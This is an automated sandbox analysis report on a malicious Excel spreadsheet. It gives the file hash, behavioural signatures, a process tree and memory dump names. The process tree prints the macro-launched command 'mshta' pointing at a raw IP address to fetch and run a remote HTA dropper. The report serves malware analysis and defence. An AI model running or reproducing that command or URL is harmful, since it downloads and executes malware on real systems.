Analysis
- max time kernel
128s - max time network
151s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
28/01/2022, 22:27
General
- Target tmpi1x7tmko.xls
- Size 90KB
- Sample220128-2c4qfsfber
- SHA256 564f7e048e9f36d160b73e8f594194f6e40ddaf2b0da5933a9ea71a2e51dc0cf
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.172/cc/vv/fe.html
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpi1x7tmko.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c mshta http://91.240.118.172/cc/vv/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.172/cc/vv/fe.html3⤵
- Blocklisted process makes network request
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3948 -s 16484⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3868-115-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
memory/3868-116-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
memory/3868-117-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
memory/3868-118-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
memory/3868-119-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
memory/3868-128-0x00007FFD5B930000-0x00007FFD5B940000-memory.dmp
memory/3868-129-0x00007FFD5B930000-0x00007FFD5B940000-memory.dmp
memory/3868-303-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
memory/3868-304-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
memory/3868-305-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
memory/3868-306-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp